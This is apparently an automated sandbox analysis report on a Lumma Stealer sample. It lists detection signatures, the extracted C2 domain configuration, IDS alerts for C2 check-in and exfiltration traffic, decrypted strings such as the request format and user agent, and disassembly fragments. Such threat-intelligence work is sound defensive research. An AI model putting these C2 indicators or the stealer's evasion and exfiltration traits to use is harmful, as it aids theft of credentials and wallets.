Edit tour

Windows Analysis Report
x6VtGfW26X.exe

Overview

General Information

Sample name:	x6VtGfW26X.exe renamed because original name is a hash value
Original sample name:	c17d20e6be092651357a8b466257b795.exe
Analysis ID:	1582690
MD5:	c17d20e6be092651357a8b466257b795
SHA1:	042cc7fc9e7a36bf4989b6be834b0d0d95557c89
SHA256:	c35fd8893480f059a48cabc6fc0a956106f55ec96d3fa728fab1bdb4b57c1705
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to query CPU information (cpuid)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

x6VtGfW26X.exe (PID: 6940 cmdline: "C:\Users\user\Desktop\x6VtGfW26X.exe" MD5: C17D20E6BE092651357A8B466257B795)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wholersorie.shop", "noisycuttej.shop", "fancywaxxers.shop", "framekgirus.shop", "cloudewahsj.shop", "abruptyopsn.shop", "nearycrepso.shop", "tirepublicerj.shop", "rabidcowse.shop"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: x6VtGfW26X.exe PID: 6940	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: x6VtGfW26X.exe PID: 6940	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:02.644820+0100	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:03.623054+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.112.1	443	TCP
2024-12-31T09:43:04.830639+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.112.1	443	TCP
2024-12-31T09:43:06.073842+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	104.21.112.1	443	TCP
2024-12-31T09:43:07.598382+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	104.21.112.1	443	TCP
2024-12-31T09:43:09.153886+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	104.21.112.1	443	TCP
2024-12-31T09:43:10.488984+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	104.21.112.1	443	TCP
2024-12-31T09:43:14.085649+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:03.125539+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:04.093969+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:03.125539+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49730	104.21.112.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:04.093969+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49731	104.21.112.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:02.644820+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49730	104.21.112.1	443	TCP
2024-12-31T09:43:03.623054+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49731	104.21.112.1	443	TCP
2024-12-31T09:43:04.830639+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49732	104.21.112.1	443	TCP
2024-12-31T09:43:06.073842+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49733	104.21.112.1	443	TCP
2024-12-31T09:43:07.598382+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.21.112.1	443	TCP
2024-12-31T09:43:09.153886+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49735	104.21.112.1	443	TCP
2024-12-31T09:43:10.488984+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49736	104.21.112.1	443	TCP
2024-12-31T09:43:14.085649+0100	2058657	1	Domain Observed Used for C2 Detected	192.168.2.4	49737	104.21.112.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:02.129169+0100	2058656	1	Domain Observed Used for C2 Detected	192.168.2.4	50288	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-31T09:43:09.582681+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49735	104.21.112.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: x6VtGfW26X.exe

Avira: detected

Antivirus detection for URL or domain

Source: fancywaxxers.shop	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/	Avira URL Cloud: Label: malware
Source: https://fancywaxxers.shop/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: x6VtGfW26X.exe.6940.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wholersorie.shop", "noisycuttej.shop", "fancywaxxers.shop", "framekgirus.shop", "cloudewahsj.shop", "abruptyopsn.shop", "nearycrepso.shop", "tirepublicerj.shop", "rabidcowse.shop"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: x6VtGfW26X.exe	Virustotal: Detection: 58%			Perma Link
Source: x6VtGfW26X.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: x6VtGfW26X.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fancywaxxers.shop
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1824952724.00000000007B1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: PsFKDg--pablo

Source: C:\Users\user\Desktop\x6VtGfW26X.exe

Code function: 0_2_007C9362 CryptUnprotectData,

0_2_007C9362

Source: x6VtGfW26X.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.4:49736 version: TLS 1.2

Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+217F4C11h]	0_2_007D6000
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx-143BF0FEh]	0_2_007BC22D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [ebp+esi*8+00h], 56ADC53Ah	0_2_007F0480
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov esi, edx	0_2_007B8640
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov dword ptr [esp], ecx	0_2_007C9362
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	0_2_007EFB80
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx+2397B827h]	0_2_007EDCE9
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_007EDCE9
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], dl	0_2_007BDE48
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_007DBE8A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	0_2_007DBE8A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	0_2_007DA050
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+129161F8h]	0_2_007EE051
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], dl	0_2_007DC0CD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [eax+ebx*8], 9EB5184Bh	0_2_007C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+68h]	0_2_007C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007C6148
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], dl	0_2_007DC140
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], E81D91D4h	0_2_007F0130
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D8100
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-27C0856Fh]	0_2_007EC1B0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], dl	0_2_007DC1A3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_007EE19A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_007DC26C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	0_2_007DC26C
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-19559D57h]	0_2_007EE262
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_007DC282
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-1EBCBB22h]	0_2_007DC282
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-00000092h]	0_2_007D6360
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D6360
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D6340
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+217F4C99h]	0_2_007D6340
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+ecx-5Fh]	0_2_007CC3CC
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [eax], dl	0_2_007D238D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then jmp ecx	0_2_007D238D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov edx, eax	0_2_007EC440
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov esi, ecx	0_2_007EC510
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then test eax, eax	0_2_007EC510
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 06702B10h	0_2_007EC510
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+000000C8h]	0_2_007BC6F0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx]	0_2_007EE6E0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [edi], dx	0_2_007C4777
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [ebx], cx	0_2_007C8740
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [ebx+eax-01h]	0_2_007EE850
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, word ptr [eax]	0_2_007D4974
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	0_2_007D4974
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [edi], cx	0_2_007D895A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov ecx, eax	0_2_007D895A
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then jmp ecx	0_2_007D29CD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D29CD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_007CCA60
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [edi], ax	0_2_007CCA60
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-22E2F54Ah]	0_2_007EEA80
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edi, byte ptr [ecx+esi]	0_2_007B2B60
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then push esi	0_2_007D0BD3
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	0_2_007C6C90
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx+5BA4F399h]	0_2_007C6C90
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+eax+5024FCA5h]	0_2_007C4DC0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov ecx, eax	0_2_007CAD80
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_007B8EF0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [ecx], bp	0_2_007CCECA
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [esp+20h]	0_2_007D4F91
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	0_2_007D4F91
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007C6F8D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov edx, ecx	0_2_007C6F8D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [esi], cx	0_2_007C6F8D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF0CD
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4B1BF3DAh	0_2_007E90A0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF1B0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF2F8
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF330
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then test eax, eax	0_2_007E93D0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+20h]	0_2_007B73C0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, word ptr [ebp+edi*4+00h]	0_2_007B73C0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF3C0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF450
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_007E5410
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp byte ptr [esi+eax], 00000000h	0_2_007D74A5
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	0_2_007C55DB
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+20h]	0_2_007D37D0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov eax, dword ptr [ebp+10h]	0_2_007EF830
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 798ECF08h	0_2_007C9820
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_007C9820
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then jmp ecx	0_2_007ED818
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 385488F2h	0_2_007E98A0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h]	0_2_007C5882
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 138629C0h	0_2_007C5882
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007BB9F1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-00000092h]	0_2_007D6360
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D6360
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007DBA79
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000011E4h]	0_2_007D3A60
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_007D9A90
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edi-4Bh]	0_2_007E9C70
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-000000DCh]	0_2_007D7CB0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_007D7CB0
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+02h]	0_2_007D1C80
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov edi, eax	0_2_007CBD6D
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 2DFE5A91h	0_2_007EFE20
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	0_2_007CDE90
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then push eax	0_2_007BBF40
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5F376B7Fh]	0_2_007C7FE1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax+000002E8h]	0_2_007C7FE1
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_007CBFCA
Source: C:\Users\user\Desktop\x6VtGfW26X.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax]	0_2_007EDFB3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058656 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fancywaxxers .shop) : 192.168.2.4:50288 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49730 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49737 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49733 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49734 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49732 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49731 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49736 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2058657 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI) : 192.168.2.4:49735 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 104.21.112.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 104.21.112.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: fancywaxxers.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
